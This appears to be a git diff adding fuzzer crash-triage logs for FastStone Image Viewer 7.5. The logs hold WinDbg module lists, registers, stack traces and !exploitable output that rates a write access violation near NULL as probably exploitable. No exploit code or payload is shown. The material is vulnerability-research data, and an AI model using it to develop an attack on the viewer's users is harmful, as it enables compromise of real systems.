+st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-5.91807e-014 -2.0281e-038 4.7562e-014 -1.43245e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081a8130 08125930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 003aa000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 003aa000 62fa94ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0ba 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003aa000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..440aa0c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/850/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9d02d23 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bddc5ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3C0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3C0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3c0.1750): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506180000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.65886e-029 -1.62195e-021 -3.41593e-012 -7.14089e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00216000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00216000 243a3f72 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00216000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bddc5ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3C0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3C0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3c0.1750): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506180000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.65886e-029 -1.62195e-021 -3.41593e-012 -7.14089e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 